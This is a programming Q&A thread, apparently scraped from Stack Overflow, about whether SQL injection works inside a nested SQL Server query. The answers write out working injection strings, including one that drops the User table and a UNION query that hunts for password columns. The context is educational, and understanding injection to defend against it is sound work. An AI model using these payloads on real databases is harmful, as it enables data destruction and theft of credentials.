SQL injection mid query-CodePudding

I would like to improve my knowledge about the possible SQL injection attacks that exist. I know that parameterization completely avoids SQL injection risk and should therefore be applied everywhere. However, when someone asks me how it can be exploited, I like to have an answer.

I know how a basic SQL injection attack works. For example a website has a page website.com/users/{id} where id is the primary key of the user. If we trust the input completely and simply pass the id parameter to the query being executed, this can have dire consequences. In the case of website.com/users/1 the query becomes SELECT * FROM [User] WHERE [Id] = 1. However, in the case of website.com/users/1;DROP TABLE User the query becomes SELECT * FROM [User] WHERE [Id] = 1;DROP TABLE User, leading to the nasty result.

But, pretty much all SQL injection attacks I read about count on the WHERE clause being present right before the injection. Almost always, the injection works in some form of ;Injected statement--.

My question is, if it is also possible to perform a SQL injection attack given a query like the one below? Or in a broader sense: does the entire statement have to compile for a SQL injection attack to be possible, or will any error in the statement cause the attack to fail? If the answer is different per DBMS, please specify the DBMS.

In the query below, the injection is supposed to happen in the CHARINDEX('input', [Name]) > 0 where input is copied from a user's input.

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

The furthest I got myself was with the query below, but the error it returns, Missing end comment mark '*/', seems to be completely blocking any attack.

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

CodePudding user response：

The resulting SQL has to be accepted by the particular DBMS for injection to occur, which generally means it needs to be valid SQL, but there are usually ways of crafting the input to make it valid regardless of the SQL in question.

If a line comment isn't enough, an extra statement can be added; if multiple statements aren't allowed, a UNION can be used; and so on.

The exact details vary, but with enough knowledge of the query (e.g. through error details leaking to the user) or lucky guesses, something can usually be crafted that is to the attacker's advantage.

In your example, consider this input, which simply repeats parts of the existing query:

nonsense', [Name]) > 0
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense

Which results in the following SQL:

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

CodePudding user response：

SQL injection normally happens where some kind of string concatenation/insertion operation is involved. It does not have to be the WHERE clause. Also, generally speaking, the attacker is not interested in dropping the tables, he wants information. What if input is replaced by this:

', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --

Assuming that the result from select are displayed somehow and error messages are also shown, it'll take a few minutes for the attacker to determine the number and position of , NULL he should add before the query actually returns the name of table and column he wants to probe in the next stage.